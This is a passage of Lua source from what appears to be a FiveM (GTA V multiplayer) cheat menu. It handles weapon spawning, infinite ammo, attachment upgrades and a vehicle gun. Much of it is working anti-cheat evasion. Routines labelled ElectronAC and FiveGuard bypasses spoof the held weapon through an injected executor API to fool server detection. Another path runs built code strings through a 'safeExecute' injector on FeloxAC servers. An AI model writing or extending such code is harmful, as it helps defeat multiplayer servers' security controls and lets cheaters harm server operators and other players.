componentName:find("_SCOPE") then return "Scope" end local strippedName = componentName:gsub("^COMPONENT_", "") return strippedName:gsub("_", " ") end function assembledMenuFunctions.getWeaponComponentSlot(componentName) if type(componentName) ~= "string" then return componentName end local clipOwner = componentName:match("^(COMPONENT_.-)_CLIP_") if clipOwner then return clipOwner .. "_CLIP" end local barrelOwner = componentName:match("^(COMPONENT_.-)_BARREL_") if barrelOwner then return barrelOwner .. "_BARREL" end local camoOwner = componentName:match("^(COMPONENT_[%w_]+)_CAMO") if camoOwner then return camoOwner .. "_CAMO" end local finishOwner = componentName:match("^(COMPONENT_[%w_]+)_VARMOD_") if finishOwner then return finishOwner .. "_VARMOD" end if componentName:find("_SCOPE_") or componentName:find("_SCOPE$") then return "SCOPE" end if componentName:find("_SUPP") then return componentName:match("^(COMPONENT_AT_[A-Z0-9]+_SUPP)") or "SUPP" end if componentName:find("_MUZZLE_") then return "MUZZLE" end if componentName:find("_COMP") then return componentName:match("^(COMPONENT_AT_[A-Z0-9]+_COMP)") or "COMP" end if componentName:find("_FLSH") then return componentName:match("^(COMPONENT_AT_[A-Z0-9]+_FLSH)") or "FLSH" end if componentName:find("_AFGRIP") then return "AFGRIP" end if componentName:find("_RAIL") then return "RAIL" end return componentName end function assembledMenuFunctions.getWeaponComponentPriority(componentName) if type(componentName) ~= "string" then return 0 end local clipType = componentName:match("_CLIP_(.+)$") if clipType then local clipNumber = tonumber(clipType) if clipNumber then return 200 + clipNumber end local priorities = {} priorities.EXPLOSIVE = 190 priorities.ARMORPIERCING = 180 priorities.INCENDIARY = 170 priorities.FMJ = 160 priorities.HOLLOWPOINT = 150 priorities.TRACER = 140 return priorities[clipType] or 100 end local barrelNumber = componentName:match("_BARREL_(%d+)$") if barrelNumber then return 100 + tonumber(barrelNumber) end if componentName:find("_SCOPE_THERMAL") then return 120 end if componentName:find("_SCOPE_NV") then return 115 end if componentName:find("_SCOPE_MAX") then return 110 end if componentName:find("_SCOPE_LARGE_MK2") then return 108 end if componentName:find("_SCOPE_LARGE") then return 105 end if componentName:find("_SCOPE_MEDIUM_MK2") then return 98 end if componentName:find("_SCOPE_MEDIUM") then return 95 end if componentName:find("_SCOPE_SMALL_MK2") then return 88 end if componentName:find("_SCOPE_SMALL_02") then return 86 end if componentName:find("_SCOPE_SMALL") then return 85 end if componentName:find("_SCOPE_MACRO_MK2") then return 78 end if componentName:find("_SCOPE_MACRO_02") then return 76 end if componentName:find("_SCOPE_MACRO") then return 75 end if componentName:find("_SUPP_02") or componentName:find("_SUPP_03") then return 50 end if componentName:find("_SUPP") then return 45 end if componentName:find("_AFGRIP_02") then return 40 end if componentName:find("_AFGRIP") then return 35 end if componentName:find("_FLSH_03") then return 30 end if componentName:find("_FLSH_02") then return 28 end if componentName:find("_FLSH") then return 25 end if componentName:find("_MUZZLE_") then local muzzleNumber = componentName:match("_MUZZLE_(%d+)$") return muzzleNumber and 20 + tonumber(muzzleNumber) or 20 end if componentName:find("_COMP_03") then return 18 end if componentName:find("_COMP_02") then return 16 end if componentName:find("_COMP") then return 14 end if componentName:find("_CAMO_IND") then return 12 end if componentName:find("_CAMO_10") then return 11 end if componentName:find("_CAMO") then return 10 end if componentName:find("_VARMOD_") then return 8 end if componentName:find("_RAIL") then return 6 end return 1 end function assembledMenuFunctions.filterBestWeaponUpgradeComponents(components) local bestBySlot = {} local iterator, state, key = ipairs(components) for _, component in iterator, state, key do local slot = menu.functions.getWeaponComponentSlot(component.name) local priority = menu.functions.getWeaponComponentPriority(component.name) local best = bestBySlot[slot] if not best or priority > best.priority then local replacement = {} replacement.name = component.name replacement.hash = component.hash replacement.priority = priority bestBySlot[slot] = replacement end end local result = {} local bestIterator, bestState, bestKey = pairs(bestBySlot) for _, best in bestIterator, bestState, bestKey do local index = #result + 1 local entry = {} entry.name = best.name entry.hash = best.hash result[index] = entry end local sort = table.sort local function compareComponents(left, right) local leftName = menu.functions.formatWeaponComponentDisplayName(left.name) local rightName = menu.functions.formatWeaponComponentDisplayName(right.name) if leftName == rightName then return left.name < right.name end return leftName < rightName end sort(result, compareComponents) return result end function assembledMenuFunctions.getWeaponUpgradeDescription(name) return "Adds " .. name:lower() .. " to your current weapon" end function assembledMenuFunctions.hasWeaponEquipped() local ped = PlayerPedId() local _, weaponHash = GetCurrentPedWeapon(ped, true) local unarmedHash = GetHashKey("WEAPON_UNARMED") return weaponHash and weaponHash ~= 0 and weaponHash ~= unarmedHash end function assembledMenuFunctions.getWeaponUpgradeOptions() local options = {} local upgradeOption = {} upgradeOption.name = "Full Upgrade" upgradeOption.type = "selector" upgradeOption.func = "fullUpgradeWeapons" upgradeOption.var = "fullUpgradeWeaponTarget" local upgradeTargets = {} upgradeTargets[1] = "Weapon" upgradeTargets[2] = "All Weapons" upgradeOption.choices = upgradeTargets upgradeOption.default = 1 upgradeOption.description = "Fully upgrade the selected weapon or all weapons" local removalOption = {} removalOption.name = "Remove all attachments" removalOption.type = "selector" removalOption.func = "removeWeaponAttachments" removalOption.var = "removeWeaponAttachmentsTarget" local removalTargets = {} removalTargets[1] = "Weapon" removalTargets[2] = "All Weapons" removalOption.choices = removalTargets removalOption.default = 1 removalOption.description = "Remove attachments from the selected weapon or all weapons" options[1] = upgradeOption options[2] = removalOption if not menu.functions.hasWeaponEquipped() then return options end local separatorIndex = #options + 1 local separator = {} separator.name = "Attachments" separator.type = "separator" options[separatorIndex] = separator local ped = PlayerPedId() local _, weaponHash = GetCurrentPedWeapon(ped, true) local compatibleComponents = {} local componentIterator, componentState, componentKey = ipairs(menu.vars._weaponComponentNames or {}) for _, componentName in componentIterator, componentState, componentKey do local componentHash = GetHashKey(componentName) if DoesWeaponTakeWeaponComponent(weaponHash, componentHash) then local componentIndex = #compatibleComponents + 1 local component = {} component.name = componentName component.hash = componentHash compatibleComponents[componentIndex] = component end end local bestComponents = menu.functions.filterBestWeaponUpgradeComponents(compatibleComponents) if #bestComponents == 0 then local insert = table.insert local unavailable = {} unavailable.name = "No upgrades available" unavailable.type = "separator" unavailable.disableHover = true insert(options, unavailable) return options end local bestIterator, bestState, bestKey = ipairs(bestComponents) for _, component in bestIterator, bestState, bestKey do local displayName = menu.functions.formatWeaponComponentDisplayName(component.name) local optionIndex = #options + 1 local option = {} option.name = displayName option.type = "button" option.func = "addWeaponComponent" option.componentHash = component.hash option.description = menu.functions.getWeaponUpgradeDescription(displayName) options[optionIndex] = option end return options end function assembledMenuFunctions.addWeaponComponent(option) local ped = PlayerPedId() local _, weaponHash = GetCurrentPedWeapon(ped, true) local componentHash = option and option.componentHash local unarmedHash = GetHashKey("WEAPON_UNARMED") if not componentHash or not weaponHash or weaponHash == 0 or weaponHash == unarmedHash then menu.utils.notify("No weapon equipped", "error", 2500) return end if not DoesWeaponTakeWeaponComponent(weaponHash, componentHash) then menu.utils.notify("This upgrade is not compatible", "error", 2500) return end GiveWeaponComponentToPed(ped, weaponHash, componentHash) local name = option.name or "Upgrade" menu.utils.notify("Added " .. name, "success", 2000) end function assembledMenuFunctions.removeWeaponAttachmentsFromHash(ped, weaponHash) local removedCount = 0 local iterator, state, key = ipairs(menu.vars._weaponComponentNames or {}) for _, componentName in iterator, state, key do local componentHash = GetHashKey(componentName) if HasPedGotWeaponComponent(ped, weaponHash, componentHash) then RemoveWeaponComponentFromPed(ped, weaponHash, componentHash) removedCount = removedCount + 1 end end return removedCount end function assembledMenuFunctions.removeCurrentWeaponAttachments() local ped = PlayerPedId() local _, weaponHash = GetCurrentPedWeapon(ped, true) local unarmedHash = GetHashKey("WEAPON_UNARMED") if not weaponHash or weaponHash == 0 or weaponHash == unarmedHash then menu.utils.notify("No weapon equipped", "error", 2500) return end local removedCount = menu.functions.removeWeaponAttachmentsFromHash(ped, weaponHash) if 0 < removedCount then menu.utils.notify("Removed " .. removedCount .. " attachment(s)", "success", 2500) else menu.utils.notify("No attachments to remove", "info", 2500) end end function assembledMenuFunctions.removeAllWeaponsAttachments() local ped = PlayerPedId() local removedCount = 0 local affectedWeapons = 0 local iterator, state, key = ipairs(menu.vars.weaponsList or {}) for _, weaponName in iterator, state, key do if weaponName ~= "WEAPON_UNARMED" then local weaponHash = GetHashKey(weaponName) if HasPedGotWeapon(ped, weaponHash, false) then local count = menu.functions.removeWeaponAttachmentsFromHash(ped, weaponHash) if 0 < count then removedCount = removedCount + count affectedWeapons = affectedWeapons + 1 end end end end if 0 < removedCount then menu.utils.notify( "Removed " .. removedCount .. " attachment(s) from " .. affectedWeapons .. " weapon(s)", "success", 2500 ) else menu.utils.notify("No attachments to remove", "info", 2500) end end function assembledMenuFunctions.removeWeaponAttachments(selection) if selection == "All Weapons" then menu.functions.removeAllWeaponsAttachments() else menu.functions.removeCurrentWeaponAttachments() end end function assembledMenuFunctions.removeAllWeaponAttachments() menu.functions.removeCurrentWeaponAttachments() end function assembledMenuFunctions.applyFullWeaponUpgrade(ped, weaponHash) SetPedInfiniteAmmo(ped, true, weaponHash) local appliedCount = 0 local iterator, state, key = ipairs(menu.vars._weaponComponentNames or {}) for _, componentName in iterator, state, key do local componentHash = GetHashKey(componentName) if DoesWeaponTakeWeaponComponent(weaponHash, componentHash) then GiveWeaponComponentToPed(ped, weaponHash, componentHash) appliedCount = appliedCount + 1 end end return appliedCount end function assembledMenuFunctions.upgradeCurrentWeapon() local ped = PlayerPedId() local _, weaponHash = GetCurrentPedWeapon(ped, true) local unarmedHash = GetHashKey("WEAPON_UNARMED") if not weaponHash or weaponHash == 0 or weaponHash == unarmedHash then menu.utils.notify("No weapon equipped", "error", 2500) return end local appliedCount = menu.functions.applyFullWeaponUpgrade(ped, weaponHash) if 0 < appliedCount then menu.utils.notify("Weapon fully upgraded", "success", 2500) else menu.utils.notify("No upgrades available for this weapon", "info", 2500) end end function assembledMenuFunctions.upgradeAllWeapons() local ped = PlayerPedId() local upgradedCount = 0 local iterator, state, key = ipairs(menu.vars.weaponsList or {}) for _, weaponName in iterator, state, key do if weaponName ~= "WEAPON_UNARMED" then local weaponHash = GetHashKey(weaponName) if HasPedGotWeapon(ped, weaponHash, false) then local appliedCount = menu.functions.applyFullWeaponUpgrade(ped, weaponHash) if 0 < appliedCount then upgradedCount = upgradedCount + 1 end end end end if 0 < upgradedCount then menu.utils.notify("Upgraded " .. upgradedCount .. " weapon(s)", "success", 2500) else menu.utils.notify("No weapons to upgrade", "info", 2500) end end function assembledMenuFunctions.fullUpgradeWeapons(selection) if selection == "All Weapons" then menu.functions.upgradeAllWeapons() else menu.functions.upgradeCurrentWeapon() end end function assembledMenuFunctions.upgradeWeapons() local upgradeCurrentWeapon upgradeCurrentWeapon = menu.functions.upgradeCurrentWeapon upgradeCurrentWeapon() end function assembledMenuFunctions.notifyActiveAcWeaponBypassOnSpawn() if not menu.vars or not menu.vars.bools or not menu.utils or not menu.utils.notify then return end local toggles = menu.vars.bools if toggles.electronAcWeaponBypass then if menu.utils.isElectronAcBypassDisabled and menu.utils.isElectronAcBypassDisabled() then return end local notify = menu.utils.notify local details = {} details.title = "Weapon Bypass" details.subtitle = "ElectronAC bypass loaded" notify("Weapon Bypass", "success", 5000, nil, details) elseif toggles.weaponBypass then local notify = menu.utils.notify local details = {} details.title = "Weapon Bypass" details.subtitle = "FiveGuard bypass loaded" notify("Weapon Bypass", "success", 5000, nil, details) end end function assembledMenuFunctions.giveWeapon(option) if menu.utils.isWeaponSpawnBlocked() then if menu.utils.notifyWeaponSpawnBlocked then menu.utils.notifyWeaponSpawnBlocked() end return end local ped = PlayerPedId() local weaponName = option.weaponHash if not weaponName or not menu.functions.isWeaponHashValid(weaponName) then menu.utils.notify("Invalid weapon hash", "error", 2000) return end local weaponHash = GetHashKey(weaponName) local ammo = 9999 if weaponName:find("GRENADE") or weaponName:find("STICKY") or weaponName:find("PROX") or weaponName:find("MOLOTOV") or weaponName:find("FLARE") or weaponName:find("BALL") or weaponName:find("PIPEBOMB") then ammo = 25 elseif weaponName:find("RPG") or weaponName:find("LAUNCHER") or weaponName:find("RAILGUN") or weaponName:find("MINIGUN") then ammo = 500 end if menu.utils.isWeaponBlacklisted(weaponName) then menu.utils.notify("Weapon is blacklisted on this server", "error", 2000) return end local spawnInHand = menu.vars if spawnInHand then spawnInHand = menu.vars.bools if spawnInHand then spawnInHand = menu.vars.bools.spawnInHand == true end end if menu.vars.antiCheats.FeloxAC then local code = " GiveWeaponToPed(" .. ped .. ", " .. weaponHash .. ", " .. ammo .. ", false, " .. tostring(spawnInHand) .. [[ ) ]] menu.utils.safeExecute(code) else GiveWeaponToPed(ped, weaponHash, ammo, false, spawnInHand) end local displayName = option.name if not displayName then displayName = weaponName:gsub("WEAPON_", "") displayName = displayName:gsub("_", " ") end local notify = menu.utils.notify local message = "Given " .. displayName local details = {} details.title = "Weapons" details.subtitle = "Given " .. displayName notify(message, "success", 2000, nil, details) if not menu.functions.notifyActiveAcWeaponBypassOnSpawn then return end menu.functions.notifyActiveAcWeaponBypassOnSpawn() end function assembledMenuFunctions.toggleVehicleGun(toggleOptions) repeat if toggleOptions then if not toggleOptions.toggleState then break end menu.utils.notify("DO NOT SPAM VEHICLES", "info", 10000) return end until true menu.functions.clearVehicleGunNoCollision() end function assembledMenuFunctions.isElectronAcServer() local bypassDisabled = menu.utils.isElectronAcBypassDisabled if bypassDisabled then bypassDisabled = menu.utils.isElectronAcBypassDisabled() if bypassDisabled then return false end end local antiCheats = menu.vars.antiCheats if antiCheats then antiCheats = menu.vars.antiCheats.ElectronAC ~= nil end return antiCheats end function assembledMenuFunctions.isFiveGuardServer() local antiCheats = menu.vars.antiCheats if antiCheats then antiCheats = menu.vars.antiCheats.FiveGuard ~= nil end return antiCheats end function assembledMenuFunctions.disableOtherWeaponBypassModes(mode) if mode ~= "recommended" then menu.vars.bools.weaponBypassRecommended = false menu.functions.clearRecommendedWeaponBypass() end if mode ~= "bypass" then menu.vars.bools.localWeaponSpoof = false menu.functions.clearLocalWeaponSpoof() end if mode ~= "fiveguard" then menu.vars.bools.weaponBypass = false menu.functions.clearWeaponBypass() end if mode ~= "electronac" then menu.vars.bools.electronAcWeaponBypass = false menu.functions.clearElectronAcWeaponBypass() end end function assembledMenuFunctions.applyElectronAcWeaponBypass() local bypassDisabled = menu.utils.isElectronAcBypassDisabled if bypassDisabled then bypassDisabled = menu.utils.isElectronAcBypassDisabled() if bypassDisabled then return false end end local available = Ham repeat if available then available = Ham.setWeaponOverride if available then break end end return false until true local batHash = GetHashKey("WEAPON_BAT") local unarmedHash = GetHashKey("WEAPON_UNARMED") local playerPed = PlayerPedId() repeat if playerPed ~= 0 then if DoesEntityExist(playerPed) then break end end return true until true local weaponHash = GetSelectedPedWeapon(playerPed) do local shouldOverride = false repeat repeat if weaponHash then if weaponHash == 0 then break end if weaponHash ~= unarmedHash then shouldOverride = true break end end until true if shouldOverride then break end return true until true end Ham.setWeaponOverride(weaponHash, batHash) menu.vars.electronAcWeaponBypassLastHash = weaponHash return true end function assembledMenuFunctions.clearElectronAcWeaponBypass() local available = Ham repeat if available then available = Ham.removeWeaponOverride if available then break end end return until true local lastHash = menu.vars.electronAcWeaponBypassLastHash if lastHash then if lastHash ~= 0 then Ham.removeWeaponOverride(lastHash) end end local playerPed = PlayerPedId() if playerPed ~= 0 then if DoesEntityExist(playerPed) then local weaponHash = GetSelectedPedWeapon(playerPed) if weaponHash then if weaponHash ~= 0 then Ham.removeWeaponOverride(weaponHash) end end end end menu.vars.electronAcWeaponBypassLastHash = nil end function assembledMenuFunctions.initElectronAcWeaponBypass() if not menu.functions.isElectronAcServer() then menu.vars.bools.electronAcWeaponBypass = false menu.functions.clearElectronAcWeaponBypass() return false end menu.functions.disableOtherWeaponBypassModes("electronac") menu.vars.bools.electronAcWeaponBypass = true return menu.functions.applyElectronAcWeaponBypass() end function assembledMenuFunctions.initFiveGuardWeaponBypass() if not menu.functions.isFiveGuardServer() then return false end menu.functions.disableOtherWeaponBypassModes("fiveguard") menu.vars.bools.weaponBypass = true return menu.functions.applyWeaponBypass() end function assembledMenuFunctions.getRecommendedWeaponBypassSpoofHash() return GetHashKey("WEAPON_RAMMED_BY_CAR") end function assembledMenuFunctions.applyRecommendedWeaponBypass() local available = Ham repeat if available then available = Ham.setWeaponOverride if available then break end end return false until true local spoofHash = menu.functions.getRecommendedWeaponBypassSpoofHash() local unarmedHash = GetHashKey("WEAPON_UNARMED") local playerPed = PlayerPedId() repeat if playerPed ~= 0 then if DoesEntityExist(playerPed) then break end end return true until true local weaponHash = GetSelectedPedWeapon(playerPed) do local shouldOverride = false repeat repeat if weaponHash then if weaponHash == 0 then break end if weaponHash ~= unarmedHash then shouldOverride = true break end end until true if shouldOverride then break end return true until true end Ham.setWeaponOverride(weaponHash, spoofHash) if Ham.removeWeaponDamageOverride then Ham.removeWeaponDamageOverride(weaponHash) end menu.vars.weaponBypassRecommendedLastHash = weaponHash return true end function assembledMenuFunctions.clearRecommendedWeaponBypass() local available = Ham repeat if available then available = Ham.removeWeaponOverride if available then break end end return until true local lastHash = menu.vars.weaponBypassRecommendedLastHash if lastHash then if lastHash ~= 0 then Ham.removeWeaponOverride(lastHash) if Ham.removeWeaponDamageOverride then Ham.removeWeaponDamageOverride(lastHash) end end end local playerPed = PlayerPedId() if playerPed ~= 0 then if DoesEntityExist(playerPed) then local weaponHash = GetSelectedPedWeapon(playerPed) if weaponHash then if weaponHash ~= 0 then Ham.removeWeaponOverride(weaponHash) if Ham.removeWeaponDamageOverride then Ham.removeWeaponDamageOverride(weaponHash) end end end end end menu.vars.weaponBypassRecommendedLastHash = nil if menu.functions.forceEndRecommendedBypassDamageVehicleSpoof then menu.functions.forceEndRecommendedBypassDamageVehicleSpoof() end end function assembledMenuFunctions.toggleWeaponBypassRecommended(toggleOptions) local enabled if not toggleOptions then enabled = toggleOptions else enabled = toggleOptions.toggleState == true end if enabled then menu.functions.disableOtherWeaponBypassModes("recommended") if not menu.functions.applyRecommendedWeaponBypass() then menu.vars.bools.weaponBypassRecommended = false menu.utils.notify("Ham weapon override API unavailable", "error", 2500) return end local details = {} details.subtitle = "Main bypass loaded" menu.utils.notifyToggle("Weapon Bypass", true, details) else menu.functions.clearRecommendedWeaponBypass() local details = {} details.subtitle = "Main bypass disabled" menu.utils.notifyToggle("Weapon Bypass", false, details) end end function assembledMenuFunctions.toggleElectronAcWeaponBypass(toggleOptions) local bypassDisabled = menu.utils.isElectronAcBypassDisabled if bypassDisabled then bypassDisabled = menu.utils.isElectronAcBypassDisabled() if bypassDisabled then menu.vars.bools.electronAcWeaponBypass = false menu.functions.clearElectronAcWeaponBypass() return end end local enabled if not toggleOptions then enabled = toggleOptions else enabled = toggleOptions.toggleState == true end if enabled then menu.functions.disableOtherWeaponBypassModes("electronac") if not menu.functions.applyElectronAcWeaponBypass() then menu.vars.bools.electronAcWeaponBypass = false menu.utils.notify("Ham weapon override API unavailable", "error", 2500) return end local details = {} details.subtitle = "ElectronAC bypass loaded" menu.utils.notifyToggle("Weapon Bypass", true, details) else menu.functions.clearElectronAcWeaponBypass() local details = {} details.subtitle = "ElectronAC bypass disabled" menu.utils.notifyToggle("Weapon Bypass", false, details) end end function assembledMenuFunctions.getWeaponBypassSpoofHash() return GetHashKey("WEAPON_BAT") end function assembledMenuFunctions.applyWeaponBypass() local available = Ham repeat if available then available = Ham.setWeaponOverride if available then break end end return false until true local spoofHash = menu.functions.getWeaponBypassSpoofHash() local unarmedHash = GetHashKey("WEAPON_UNARMED") local playerPed = PlayerPedId() repeat if playerPed ~= 0 then if DoesEntityExist(playerPed) then break end end return true until true local weaponHash = GetSelectedPedWeapon(playerPed) do local shouldOverride = false repeat repeat if weaponHash then if weaponHash == 0 then break end if weaponHash ~= unarmedHash then shouldOverride = true break end end until true if shouldOverride then break end return true until true end Ham.setWeaponOverride(weaponHash, spoofHash) menu.vars.weaponBypassLastHash = weaponHash return true end function assembledMenuFunctions.clearWeaponBypass() local available = Ham repeat if available then available = Ham.removeWeaponOverride if available then break end end return until true local lastHash = menu.vars.weaponBypassLastHash if lastHash then if lastHash ~= 0 then Ham.removeWeaponOverride(lastHash) end end local playerPed = PlayerPedId() if playerPed ~= 0 then if DoesEntityExist(playerPed) then local weaponHash = GetSelectedPedWeapon(playerPed) if weaponHash then if weaponHash ~= 0 then Ham.removeWeaponOverride(weaponHash) end end end end menu.vars.weaponBypassLastHash = nil end function assembledMenuFunctions.toggleWeaponBypass(toggleOptions) local enabled if not toggleOptions then enabled = toggleOptions else enabled = toggleOptions.toggleState == true end if enabled then menu.functions.disableOtherWeaponBypassModes("fiveguard") if not menu.functions.applyWeaponBypass() then menu.vars.bools.weaponBypass = false menu.utils.notify("Ham weapon override API unavailable", "error", 2500) return end local details = {} details.subtitle = "FiveGuard bypass loaded" menu.utils.notifyToggle("Weapon Bypass", true, details) else menu.functions.clearWeaponBypass() local details = {} details.subtitle = "FiveGuard bypass disabled" menu.utils.notifyToggle("Weapon Bypass", false, details) end end function assembledMenuFunctions.getLocalWeaponSpoofTargetHash() return GetHashKey("WEAPON_UNARMED") end function assembledMenuFunctions.applyLocalWeaponSpoof() local available = Ham repeat if available then available = Ham.setWeaponOverride if available then break end end return false until true local spoofHash = menu.functions.getLocalWeaponSpoofTargetHash() local unarmedHash = GetHashKey("WEAPON_UNARMED") local playerPed = PlayerPedId() repeat if playerPed ~= 0 then if DoesEntityExist(playerPed) then break end end return true until true local weaponHash = GetSelectedPedWeapon(playerPed) do local shouldOverride = false repeat repeat if weaponHash then if weaponHash == 0 then break end if weaponHash ~= unarmedHash then shouldOverride = true break end end until true if shouldOverride then break end menu.vars.localWeaponSpoofLastHash = nil return true until true end local lastHash = menu.vars.localWeaponSpoofLastHash if lastHash then if lastHash ~= 0 then if lastHash ~= weaponHash then if Ham.removeWeaponOverride then Ham.removeWeaponOverride(lastHash) end end end end Ham.setWeaponOverride(weaponHash, spoofHash) menu.vars.localWeaponSpoofLastHash = weaponHash return true end function assembledMenuFunctions.clearLocalWeaponSpoof() if not Ham then return end local lastHash = menu.vars.localWeaponSpoofLastHash if lastHash then if lastHash ~= 0 then if Ham.removeWeaponOverride then Ham.removeWeaponOverride(lastHash) end if Ham.removeWeaponDamageOverride then Ham.removeWeaponDamageOverride(lastHash) end end end local playerPed = PlayerPedId() if playerPed ~= 0 then if DoesEntityExist(playerPed) then local weaponHash = GetSelectedPedWeapon(playerPed) if weaponHash then if weaponHash ~= 0 then if Ham.removeWeaponOverride then Ham.removeWeaponOverride(weaponHash) end if Ham.removeWeaponDamageOverride then Ham.removeWeaponDamageOverride(weaponHash) end end end end end menu.vars.localWeaponSpoofLastHash = nil end function assembledMenuFunctions.toggleLocalWeaponSpoof(toggleOptions) local enabled if not toggleOptions then enabled = toggleOptions else enabled = toggleOptions.toggleState == true end if enabled then menu.functions.disableOtherWeaponBypassModes("bypass") if not menu.functions.applyLocalWeaponSpoof() then menu.vars.bools.localWeaponSpoof = false menu.utils.notify("Ham weapon override API unavailable", "error", 2500) return end menu.utils.notifyToggle("Local Weapon Spoof", true) else menu.functions.clearLocalWeaponSpoof() menu.utils.notifyToggle("Local Weapon Spoof", false) end end function assembledMenuFunctions.toggleFakeWeapon(toggleOptions) local enabled if not toggleOptions then enabled = toggleOptions else enabled = toggleOptions.toggleState == true end local available = Ham.setWeaponSpoofHash repeat if available then available = Ham.weaponSpoof if available then break end end if enabled then menu.vars.bools.fakeWeaponEnabled = false menu.utils.notify("Ham weapon spoof API unavailable", "error", 2500) end return until true if enabled then menu.functions.applyFakeWeaponSpoof() menu.utils.notify("Fake weapon enabled", "success", 2500) return end local otherSpoof = menu.vars.bools repeat if otherSpoof then otherSpoof = menu.vars.bools.localWeaponSpoof if otherSpoof then break end otherSpoof = menu.vars.bools.knockoutWeaponSpoof if otherSpoof then break end end Ham.weaponSpoof(false) until true menu.utils.notifyToggle("Fake Weapon", false) end function assembledMenuFunctions.getFakeWeaponSpoofChoices() local choices = {} local seen = {} local categories = menu.functions.getWeaponSpawnCategories() local categoryOrder = {} categoryOrder[1] = "Melee" categoryOrder[2] = "Pistols" categoryOrder[3] = "SMGs" categoryOrder[4] = "Rifles" categoryOrder[5] = "Shotguns" categoryOrder[6] = "Sniper Rifles" categoryOrder[7] = "Heavy Weapons" categoryOrder[8] = "Throwables" for _, category in ipairs(categoryOrder) do local entries = categories[category] if entries then for index = 1, #entries, 1 do local display = entries[index].display if display then if not seen[display] then seen[display] = true choices[#choices + 1] = display end end end end end return choices end function assembledMenuFunctions.getFakeWeaponSpoofHash() if not menu.vars.selectors then menu.vars.selectors = {} end local choices = menu.functions.getFakeWeaponSpoofChoices() local selectedIndex = menu.vars.selectors.fakeWeaponSpoof if not selectedIndex then selectedIndex = 1 end if selectedIndex < 1 then selectedIndex = 1 end if selectedIndex > #choices then selectedIndex = #choices end local selectedName = choices[selectedIndex] if not selectedName then selectedName = choices[1] end if not selectedName then return GetHashKey("WEAPON_PISTOL") end local selectedWeapon = menu.functions.resolveWeaponSelection(selectedName) if selectedWeapon then if selectedWeapon.hash then return GetHashKey(selectedWeapon.hash) end end return GetHashKey("WEAPON_PISTOL") end function assembledMenuFunctions.applyFakeWeaponSpoof() local enabled = menu.vars.bools repeat if enabled then enabled = menu.vars.bools.fakeWeaponEnabled if enabled then break end end return until true local available = Ham.setWeaponSpoofHash repeat if available then available = Ham.weaponSpoof if available then break end end return until true local playerPed = PlayerPedId() repeat if playerPed ~= 0 then if DoesEntityExist(playerPed) then break end end return until true local weaponHash = menu.functions.getFakeWeaponSpoofHash() Ham.setWeaponSpoofHash(weaponHash) Ham.weaponSpoof(true) end function assembledMenuFunctions.clearVehicleGunNoCollision() local state = _G.vehicleGunNoCollisionState if not state then return end local subject = state.subject if subject then if subject ~= 0 then if DoesEntityExist(subject) then for vehicle in pairs(state.vehicles or {}) do if vehicle ~= 0 then if DoesEntityExist(vehicle) then SetEntityNoCollisionEntity(subject, vehicle, false) SetEntityNoCollisionEntity(vehicle, subject, false) end end end end end end _G.vehicleGunNoCollisionState = nil end function assembledMenuFunctions.applyVehicleGunNoCollision() local playerPed = PlayerPedId() local subject = playerPed repeat if playerPed ~= 0 then if DoesEntityExist(playerPed) then break end end menu.functions.clearVehicleGunNoCollision() return until true if IsPedInAnyVehicle(playerPed, false) then local vehicle = GetVehiclePedIsIn(playerPed, false) if vehicle ~= 0 then if DoesEntityExist(vehicle) then subject = vehicle end end end local state = _G.vehicleGunNoCollisionState if state then if state.subject ~= subject then menu.functions.clearVehicleGunNoCollision() state = nil end end if not state then state = {} state.subject = subject state.vehicles = {} _G.vehicleGunNoCollisionState = state end local subjectCoords = GetEntityCoords(subject) local nearbyVehicles = {} for _, vehicle in ipairs(GetGamePool("CVehicle") or {}) do if vehicle ~= subject then if DoesEntityExist(vehicle) then local distance = #(subjectCoords - GetEntityCoords(vehicle)) if distance <= 35.0 then SetEntityNoCollisionEntity(subject, vehicle, true) SetEntityNoCollisionEntity(vehicle, subject, true) nearbyVehicles[vehicle] = true end end end end for vehicle in pairs(state.vehicles or {}) do if not nearbyVehicles[vehicle] then if vehicle ~= 0 then if DoesEntityExist(vehicle) then SetEntityNoCollisionEntity(subject, vehicle, false) SetEntityNoCollisionEntity(vehicle, subject, false) end end end end state.vehicles = nearbyVehicles end function assembledMenuFunctions.getVehicleGunCustomChoices() return { "Random", "Custom", } end function assembledMenuFunctions.handleVehicleGunCustomSelector(selection) if type(selection) ~= "string" then local choices = menu.functions.getVehicleGunCustomChoices() local selectedIndex = menu.vars do local found = false repeat repeat if selectedIndex then selectedIndex = menu.vars.selectors if not selectedIndex then break end selectedIndex = menu.vars.selectors.shootCustomVehicleSelector if selectedIndex then found = true break end end until true if found then break end selectedIndex = 1 until true end local selectedChoice = choices[selectedIndex] if selectedChoice then selection = selectedChoice else selection = choices[1] end end if selection == "Custom" then menu.functions.setVehicleGunCustomModel() end end function assembledMenuFunctions.setVehicleGunCustomModel() local defaultModel = menu.vars.textInputs repeat if defaultModel then defaultModel = menu.vars.textInputs.vehicleGunCustomModel if defaultModel then break end end defaultModel = "" until true local promptText = menu.ui.promptText local promptOptions = {} promptOptions.title = "Set Custom Vehicle" promptOptions.label = "Enter vehicle model name" promptOptions.placeholder = "e.g. sultan, adder" promptOptions.default = defaultModel promptOptions.maxLen = 64 local function handleModelInput(value, cancelled) if cancelled then return end repeat if value then if value ~= "" then break end end menu.utils.notify("No model name entered", "error", 2000) return until true local modelName = string.gsub(value, "^%s*(.-)%s*$", "%1") if modelName == "" then return end local modelHash = GetHashKey(modelName) repeat if IsModelInCdimage(modelHash) then if IsModelAVehicle(modelHash) then break end end menu.utils.notify("Invalid vehicle model: " .. modelName, "error", 2000) return until true if not menu.vars.textInputs then menu.vars.textInputs = {} end menu.vars.textInputs.vehicleGunCustomModel = string.lower(modelName) menu.utils.notify("Custom vehicle set: " .. string.lower(modelName), "success", 2000) end promptText(promptOptions, handleModelInput) end function assembledMenuFunctions.getVehicleGunTargetCoords(entity) do local valid = false repeat repeat if entity then if entity == 0 then break end if DoesEntityExist(entity) then valid = true break end end until true if valid then break end return nil until true end local cameraCoords = GetGameplayCamCoord() local cameraRotation = GetGameplayCamRot(2) local direction = vector3( -math.sin(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)), math.cos(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)), math.sin(math.rad(cameraRotation.x)) ) local rayStart = cameraCoords + direction * 0.25 local rayEnd = rayStart + direction * 1000.0 local rayHandle = StartShapeTestRay(rayStart.x, rayStart.y, rayStart.z, rayEnd.x, rayEnd.y, rayEnd.z, 1, entity, 0) local _, hit, hitCoords = GetShapeTestResult(rayHandle) if hit then if hitCoords then if hitCoords.x then return vector3(hitCoords.x, 